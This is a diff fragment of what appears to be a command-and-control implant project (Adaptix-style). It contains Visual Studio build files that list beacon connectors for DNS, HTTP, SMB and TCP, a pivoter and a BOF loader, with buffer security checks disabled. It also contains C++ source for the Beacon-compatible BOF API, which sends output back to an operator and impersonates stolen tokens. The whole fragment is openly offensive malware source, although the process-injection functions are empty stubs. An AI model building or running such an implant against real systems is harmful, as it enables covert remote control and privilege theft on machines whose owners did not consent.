</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<ClCompile>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalOptions>/D DEBUG %(AdditionalOptions)</AdditionalOptions>
|
||||
<PreprocessorDefinitions>BEACON_DNS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|x64'">
|
||||
<Link>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<ClCompile>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalOptions>/D DEBUG %(AdditionalOptions)</AdditionalOptions>
|
||||
<PreprocessorDefinitions>BEACON_TCP;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Agent.cpp" />
|
||||
<ClCompile Include="AgentConfig.cpp" />
|
||||
<ClCompile Include="AgentInfo.cpp" />
|
||||
<ClCompile Include="ApiLoader.cpp" />
|
||||
<ClCompile Include="beacon_functions.cpp" />
|
||||
<ClCompile Include="Boffer.cpp" />
|
||||
<ClCompile Include="bof_loader.cpp" />
|
||||
<ClCompile Include="Commander.cpp" />
|
||||
<ClCompile Include="config.cpp" />
|
||||
<ClCompile Include="ConnectorDNS.cpp" />
|
||||
<ClCompile Include="ConnectorHTTP.cpp" />
|
||||
<ClCompile Include="ConnectorSMB.cpp" />
|
||||
<ClCompile Include="ConnectorTCP.cpp" />
|
||||
<ClCompile Include="Crypt.cpp" />
|
||||
<ClCompile Include="DnsCodec.cpp" />
|
||||
<ClCompile Include="Downloader.cpp" />
|
||||
<ClCompile Include="Encoders.cpp" />
|
||||
<ClCompile Include="JobsController.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="MainAgent.cpp" />
|
||||
<ClCompile Include="MemorySaver.cpp" />
|
||||
<ClCompile Include="miniz.cpp" />
|
||||
<ClCompile Include="Packer.cpp" />
|
||||
<ClCompile Include="Pivotter.cpp" />
|
||||
<ClCompile Include="ProcLoader.cpp" />
|
||||
<ClCompile Include="Proxyfire.cpp" />
|
||||
<ClCompile Include="std.cpp" />
|
||||
<ClCompile Include="utils.cpp" />
|
||||
<ClCompile Include="WaitMask.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="adaptix.h" />
|
||||
<ClInclude Include="Agent.h" />
|
||||
<ClInclude Include="AgentConfig.h" />
|
||||
<ClInclude Include="AgentInfo.h" />
|
||||
<ClInclude Include="ApiDefines.h" />
|
||||
<ClInclude Include="ApiLoader.h" />
|
||||
<ClInclude Include="beacon.h" />
|
||||
<ClInclude Include="Boffer.h" />
|
||||
<ClInclude Include="bof_loader.h" />
|
||||
<ClInclude Include="Commander.h" />
|
||||
<ClInclude Include="config.h" />
|
||||
<ClInclude Include="Connector.h" />
|
||||
<ClInclude Include="ConnectorDNS.h" />
|
||||
<ClInclude Include="ConnectorHTTP.h" />
|
||||
<ClInclude Include="ConnectorSMB.h" />
|
||||
<ClInclude Include="ConnectorTCP.h" />
|
||||
<ClInclude Include="Crypt.h" />
|
||||
<ClInclude Include="defines.h" />
|
||||
<ClInclude Include="DnsCodec.h" />
|
||||
<ClInclude Include="Downloader.h" />
|
||||
<ClInclude Include="Encoders.h" />
|
||||
<ClInclude Include="JobsController.h" />
|
||||
<ClInclude Include="main.h" />
|
||||
<ClInclude Include="MemorySaver.h" />
|
||||
<ClInclude Include="miniz.h" />
|
||||
<ClInclude Include="ntdll.h" />
|
||||
<ClInclude Include="Packer.h" />
|
||||
<ClInclude Include="Pivotter.h" />
|
||||
<ClInclude Include="ProcLoader.h" />
|
||||
<ClInclude Include="Proxyfire.h" />
|
||||
<ClInclude Include="utils.h" />
|
||||
<ClInclude Include="WaitMask.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="chkstk_x64.asm">
|
||||
<ExcludedFromBuild Condition="'$(Platform)'=='Win32'">true</ExcludedFromBuild>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,257 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Headers">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resources">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Source\Agent">
|
||||
<UniqueIdentifier>{1d5785ed-7177-4edd-b33c-a1ca0256fef5}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Headers\Agent">
|
||||
<UniqueIdentifier>{9388f9a8-ed9f-4534-95b0-df703ef01a75}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source\Encrypt">
|
||||
<UniqueIdentifier>{0e959577-b36c-43ca-9898-ab7519a17459}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Headers\Encrypt">
|
||||
<UniqueIdentifier>{7ee86ebc-a959-4493-9bc2-a2b1597f1337}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source\utils">
|
||||
<UniqueIdentifier>{f0007444-cc35-49e8-afb3-0d7e04ab2fe3}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Headers\utils">
|
||||
<UniqueIdentifier>{31592d34-a5db-4b5b-99e6-86789fd5c5bc}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source\Commander">
|
||||
<UniqueIdentifier>{174c2aaf-8976-4bee-a901-e812ceb3adfb}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Headers\Commander">
|
||||
<UniqueIdentifier>{aab2f128-c956-4338-8112-eb6add9224a0}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Headers\ApiLoader">
|
||||
<UniqueIdentifier>{105ed7ee-3bc4-4b29-bad4-30dac5b9460a}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source\ApiLoader">
|
||||
<UniqueIdentifier>{75ea1e98-244a-4ba6-861a-9c877f9e4133}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source\Connectors">
|
||||
<UniqueIdentifier>{794a84d3-d343-4aa1-9c08-cab08b06fd1d}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Headers\Connectors">
|
||||
<UniqueIdentifier>{c7e8b0b0-37fd-4e3d-8561-9569fda4fa5b}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source\utils\dns">
|
||||
<UniqueIdentifier>{39e9ee80-0802-47a1-801e-20dfbe08f786}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Headers\utils\dns">
|
||||
<UniqueIdentifier>{9cce93ae-d7e9-4d72-93e2-142e09bf5cac}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Headers\Commander\Boffer">
|
||||
<UniqueIdentifier>{b0e0adee-9aa6-42f6-ab51-45c63118e2e7}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source\Commander\Boffer">
|
||||
<UniqueIdentifier>{d5a9b678-296c-452a-aa31-c4262d91d985}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="MainAgent.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Packer.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Agent.cpp">
|
||||
<Filter>Source\Agent</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="AgentConfig.cpp">
|
||||
<Filter>Source\Agent</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="AgentInfo.cpp">
|
||||
<Filter>Source\Agent</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Encoders.cpp">
|
||||
<Filter>Source\Encrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="utils.cpp">
|
||||
<Filter>Source\utils</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Commander.cpp">
|
||||
<Filter>Source\Commander</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Downloader.cpp">
|
||||
<Filter>Source\Commander</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="MemorySaver.cpp">
|
||||
<Filter>Source\Commander</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="JobsController.cpp">
|
||||
<Filter>Source\Commander</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="beacon_functions.cpp">
|
||||
<Filter>Source\Commander\Boffer</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Crypt.cpp">
|
||||
<Filter>Source\Encrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="WaitMask.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="std.cpp">
|
||||
<Filter>Source\utils</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ApiLoader.cpp">
|
||||
<Filter>Source\ApiLoader</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ProcLoader.cpp">
|
||||
<Filter>Source\ApiLoader</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="config.cpp">
|
||||
<Filter>Source\Agent</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Proxyfire.cpp">
|
||||
<Filter>Source\Commander</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ConnectorHTTP.cpp">
|
||||
<Filter>Source\Connectors</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ConnectorSMB.cpp">
|
||||
<Filter>Source\Connectors</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Pivotter.cpp">
|
||||
<Filter>Source\Commander</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ConnectorTCP.cpp">
|
||||
<Filter>Source\Connectors</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="miniz.cpp">
|
||||
<Filter>Source\utils</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ConnectorDNS.cpp">
|
||||
<Filter>Source\Connectors</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="DnsCodec.cpp">
|
||||
<Filter>Source\utils\dns</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Boffer.cpp">
|
||||
<Filter>Source\Commander</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="bof_loader.cpp">
|
||||
<Filter>Source\Commander\Boffer</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="main.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="defines.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Packer.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ntdll.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Agent.h">
|
||||
<Filter>Headers\Agent</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="AgentConfig.h">
|
||||
<Filter>Headers\Agent</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="AgentInfo.h">
|
||||
<Filter>Headers\Agent</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Encoders.h">
|
||||
<Filter>Headers\Encrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="utils.h">
|
||||
<Filter>Headers\utils</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Commander.h">
|
||||
<Filter>Headers\Commander</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Downloader.h">
|
||||
<Filter>Headers\Commander</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="MemorySaver.h">
|
||||
<Filter>Headers\Commander</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="JobsController.h">
|
||||
<Filter>Headers\Commander</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="beacon.h">
|
||||
<Filter>Headers\Commander\Boffer</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Crypt.h">
|
||||
<Filter>Headers\Encrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="WaitMask.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ApiLoader.h">
|
||||
<Filter>Headers\ApiLoader</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ProcLoader.h">
|
||||
<Filter>Headers\ApiLoader</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ApiDefines.h">
|
||||
<Filter>Headers\ApiLoader</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="config.h">
|
||||
<Filter>Headers\Agent</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Proxyfire.h">
|
||||
<Filter>Headers\Commander</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ConnectorHTTP.h">
|
||||
<Filter>Headers\Connectors</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ConnectorSMB.h">
|
||||
<Filter>Headers\Connectors</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Pivotter.h">
|
||||
<Filter>Headers\Commander</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ConnectorTCP.h">
|
||||
<Filter>Headers\Connectors</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="adaptix.h">
|
||||
<Filter>Headers\Commander\Boffer</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="miniz.h">
|
||||
<Filter>Headers\utils</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ConnectorDNS.h">
|
||||
<Filter>Headers\Connectors</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DnsCodec.h">
|
||||
<Filter>Headers\utils\dns</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Boffer.h">
|
||||
<Filter>Headers\Commander</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="bof_loader.h">
|
||||
<Filter>Headers\Commander\Boffer</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Connector.h">
|
||||
<Filter>Headers\Connectors</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="chkstk_x64.asm">
|
||||
<Filter>Source</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,538 @@
|
||||
#include "adaptix.h"
|
||||
#include "utils.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "Packer.h"
|
||||
#include "Agent.h"
|
||||
#include "main.h"
|
||||
#include "Boffer.h"
|
||||
|
||||
Packer* bofOutputPacker = NULL;
|
||||
int bofOutputCount = 0;
|
||||
ULONG bofTaskId = 0;
|
||||
HANDLE g_StoredToken = NULL;
|
||||
|
||||
BOOL IsAsyncBofThread();
|
||||
void AsyncBofOutput(int type, PBYTE data, int dataSize);
|
||||
|
||||
void BofOutputToTask(int type, PBYTE data, int dataSize)
|
||||
{
|
||||
if (IsAsyncBofThread()) {
|
||||
AsyncBofOutput(type, data, dataSize);
|
||||
return;
|
||||
}
|
||||
|
||||
if (bofOutputPacker) {
|
||||
bofOutputPacker->Pack32(bofTaskId);
|
||||
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
|
||||
bofOutputPacker->Pack32(type);
|
||||
bofOutputPacker->PackBytes(data, dataSize);
|
||||
}
|
||||
}
|
||||
|
||||
void AsyncBofOutput(int type, PBYTE data, int dataSize)
|
||||
{
|
||||
AsyncBofContext* ctx = tls_CurrentBofContext;
|
||||
if (!ctx || !ctx->outputBuffer)
|
||||
return;
|
||||
|
||||
ApiWin->EnterCriticalSection(&ctx->outputLock);
|
||||
|
||||
ctx->outputBuffer->Pack32(ctx->taskId);
|
||||
ctx->outputBuffer->Pack32(51); // COMMAND_EXEC_BOF_OUT
|
||||
ctx->outputBuffer->Pack32(type);
|
||||
ctx->outputBuffer->PackBytes(data, dataSize);
|
||||
|
||||
ApiWin->LeaveCriticalSection(&ctx->outputLock);
|
||||
}
|
||||
|
||||
BOOL IsAsyncBofThread()
|
||||
{
|
||||
return (tls_CurrentBofContext != NULL);
|
||||
}
|
||||
|
||||
unsigned int swap_endianess(unsigned int indata)
|
||||
{
|
||||
unsigned int testint = 0xaabbccdd;
|
||||
unsigned int outint = indata;
|
||||
if (((unsigned char*)&testint)[0] == 0xdd) {
|
||||
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
|
||||
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
|
||||
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
|
||||
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
|
||||
}
|
||||
return outint;
|
||||
}
|
||||
|
||||
|
||||
/// Data Parser API
|
||||
|
||||
//char* BeaconDataPtr(datap* parser, int size);
|
||||
|
||||
void BeaconDataParse(datap* parser, char* buffer, int size)
|
||||
{
|
||||
if (parser == NULL || buffer == NULL)
|
||||
return;
|
||||
|
||||
parser->original = buffer;
|
||||
parser->buffer = buffer;
|
||||
parser->length = size - 4;
|
||||
parser->size = size - 4;
|
||||
parser->buffer += 4;
|
||||
}
|
||||
|
||||
int BeaconDataInt(datap* parser)
|
||||
{
|
||||
if (parser == NULL)
|
||||
return 0;
|
||||
|
||||
int fourbyteint = 0;
|
||||
if (parser->length < 4) {
|
||||
return 0;
|
||||
}
|
||||
memcpy(&fourbyteint, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
parser->length -= 4;
|
||||
return (int)fourbyteint;
|
||||
}
|
||||
|
||||
short BeaconDataShort(datap* parser)
|
||||
{
|
||||
if (parser == NULL)
|
||||
return 0;
|
||||
|
||||
short retvalue = 0;
|
||||
if (parser->length < 2) {
|
||||
return 0;
|
||||
}
|
||||
memcpy(&retvalue, parser->buffer, 2);
|
||||
parser->buffer += 2;
|
||||
parser->length -= 2;
|
||||
return (short)retvalue;
|
||||
}
|
||||
|
||||
int BeaconDataLength(datap* parser)
|
||||
{
|
||||
if (parser == NULL)
|
||||
return 0;
|
||||
|
||||
return parser->length;
|
||||
}
|
||||
|
||||
char* BeaconDataExtract(datap* parser, int* size)
|
||||
{
|
||||
if (parser == NULL)
|
||||
return 0;
|
||||
|
||||
unsigned int length = 0;
|
||||
char* outdata = NULL;
|
||||
if (parser->length < 4) {
|
||||
return NULL;
|
||||
}
|
||||
memcpy(&length, parser->buffer, 4);
|
||||
parser->length -= 4;
|
||||
parser->buffer += 4;
|
||||
|
||||
outdata = parser->buffer;
|
||||
if (outdata == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
parser->length -= length;
|
||||
parser->buffer += length;
|
||||
|
||||
if (size != NULL && outdata != NULL) {
|
||||
*size = length;
|
||||
}
|
||||
return outdata;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Output API
|
||||
|
||||
void BeaconOutput(int type, const char* data, int len)
|
||||
{
|
||||
if (data == NULL)
|
||||
return;
|
||||
|
||||
BofOutputToTask(type, (PBYTE)data, len);
|
||||
}
|
||||
|
||||
void BeaconPrintf(int type, const char* fmt, ...)
|
||||
{
|
||||
if (fmt == NULL)
|
||||
return;
|
||||
|
||||
int length = 0;
|
||||
va_list args;
|
||||
|
||||
va_start(args, fmt);
|
||||
length = ApiWin->vsnprintf(NULL, 0, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
if (length == -1)
|
||||
return;
|
||||
length += 1;
|
||||
|
||||
char* tmp_output = (char*)MemAllocLocal(length);
|
||||
|
||||
va_start(args, fmt);
|
||||
length = ApiWin->vsnprintf(tmp_output, length, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
BofOutputToTask(type, (PBYTE)tmp_output, length);
|
||||
|
||||
MemFreeLocal((LPVOID*)&tmp_output, length);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Format API
|
||||
|
||||
void BeaconFormatAlloc(formatp* format, int maxsz)
|
||||
{
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
format->original = (PCHAR)ApiWin->LocalAlloc(LPTR, maxsz);
|
||||
format->buffer = format->original;
|
||||
format->length = 0;
|
||||
format->size = maxsz;
|
||||
}
|
||||
|
||||
void BeaconFormatReset(formatp* format)
|
||||
{
|
||||
if (format == NULL)
|
||||
return;
|
||||
|
||||
memset(format->original, 0, format->size);
|
||||
format->buffer = format->original;
|
||||
format->length = 0;
|
||||
}
|
||||
|
||||
void BeaconFormatAppend(formatp* format, const char* text, int len)
|
||||
{
|
||||
if (format == NULL || text == NULL)
|
||||
return;
|
||||
|
||||
memcpy(format->buffer, text, len);
|
||||
format->buffer += len;
|
||||
format->length += len;
|
||||
}
|
||||
|
||||
void BeaconFormatPrintf(formatp* format, const char* fmt, ...)
|
||||
{
|
||||
if (format == NULL || fmt == NULL)
|
||||
return;
|
||||
|
||||
va_list args;
|
||||
int length = 0;
|
||||
|
||||
va_start(args, fmt);
|
||||
length = ApiWin->vsnprintf(NULL, 0, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
if (length <= 0)
|
||||
return;
|
||||
|
||||
if (format->length + length > format->size) {
|
||||
return;
|
||||
}
|
||||
|
||||
va_start(args, fmt);
|
||||
ApiWin->vsnprintf(format->buffer, length + 1, fmt, args);
|
||||
va_end(args);
|
||||
format->length += length;
|
||||
format->buffer += length;
|
||||
}
|
||||
|
||||
char* BeaconFormatToString(formatp* format, int* size)
|
||||
{
|
||||
if (format == NULL)
|
||||
return NULL;
|
||||
if (size != NULL)
|
||||
*size = format->length;
|
||||
return format->original;
|
||||
}
|
||||
|
||||
void BeaconFormatFree(formatp* format)
|
||||
{
|
||||
if (format == NULL)
|
||||
return;
|
||||
|
||||
if (format->original) {
|
||||
MemFreeLocal((LPVOID*) &format->original, format->size);
|
||||
}
|
||||
format->buffer = NULL;
|
||||
format->length = 0;
|
||||
format->size = 0;
|
||||
}
|
||||
|
||||
void BeaconFormatInt(formatp* format, int value)
|
||||
{
|
||||
if (format == NULL)
|
||||
return;
|
||||
|
||||
unsigned int indata = value;
|
||||
unsigned int outdata = 0;
|
||||
if (format->length + 4 > format->size) {
|
||||
return;
|
||||
}
|
||||
outdata = swap_endianess(indata);
|
||||
memcpy(format->buffer, &outdata, 4);
|
||||
format->length += 4;
|
||||
format->buffer += 4;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Internal APIs
|
||||
|
||||
BOOL BeaconUseToken(HANDLE token)
|
||||
{
|
||||
if (ApiWin->ImpersonateLoggedOnUser(token) || ApiWin->SetThreadToken(NULL, token)) {
|
||||
if (g_StoredToken) {
|
||||
ApiNt->NtClose(g_StoredToken);
|
||||
g_StoredToken = NULL;
|
||||
}
|
||||
ApiWin->DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &g_StoredToken);
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void BeaconRevertToken(void)
|
||||
{
|
||||
ApiWin->RevertToSelf();
|
||||
if (g_StoredToken) {
|
||||
ApiNt->NtClose(g_StoredToken);
|
||||
g_StoredToken = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL BeaconIsAdmin(void)
|
||||
{
|
||||
BOOL high = IsElevate();
|
||||
return high;
|
||||
}
|
||||
|
||||
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
|
||||
{
|
||||
char* tempBufferPath = NULL;
|
||||
if ( !buffer )
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo)
|
||||
{
|
||||
BOOL bSuccess = FALSE;
|
||||
return bSuccess;
|
||||
}
|
||||
|
||||
VOID BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
VOID BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
VOID BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
VOID BeaconDataStoreProtectItem(SIZE_T index)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
VOID BeaconDataStoreUnprotectItem(SIZE_T index)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
ULONG BeaconDataStoreMaxEntries()
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL toWideChar(char* src, wchar_t* dst, int max)
|
||||
{
|
||||
if (max < sizeof(wchar_t))
|
||||
return FALSE;
|
||||
return ApiWin->MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
|
||||
}
|
||||
|
||||
BOOL BeaconInformation(BEACON_INFO* info)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL BeaconAddValue(const char* key, void* ptr)
|
||||
{
|
||||
if (!key || StrLenA(key) == 0)
|
||||
return FALSE;
|
||||
|
||||
for (const auto& pair : g_Agent->Values) {
|
||||
if (StrCmpA((const char*)pair.key, key) == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
size_t keyLen = StrLenA(key) + 1;
|
||||
CHAR* newKey = (CHAR*)MemAllocLocal(keyLen);
|
||||
if (!newKey)
|
||||
return FALSE;
|
||||
|
||||
memcpy(newKey, key, keyLen);
|
||||
g_Agent->Values.insert(newKey, ptr);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
PVOID BeaconGetValue(const char* key)
|
||||
{
|
||||
if (!key || StrLenA(key) == 0)
|
||||
return NULL;
|
||||
|
||||
for (const auto& pair : g_Agent->Values) {
|
||||
if (StrCmpA((const char*)pair.key, key) == 0) {
|
||||
return pair.value;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BOOL BeaconRemoveValue(const char* key)
|
||||
{
|
||||
if (!key || StrLenA(key) == 0)
|
||||
return FALSE;
|
||||
|
||||
for (auto it = g_Agent->Values.begin(); it != g_Agent->Values.end(); ++it) {
|
||||
if (StrCmpA((const char*)(*it).key, key) == 0) {
|
||||
LPVOID lpKey = (*it).key;
|
||||
DWORD dwBufferSize = StrLenA((*it).key) + 1;
|
||||
MemFreeLocal(&lpKey, dwBufferSize);
|
||||
g_Agent->Values.remove((*it).key);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PCHAR BeaconGetCustomUserData()
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/// System Call API
|
||||
|
||||
BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
//LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
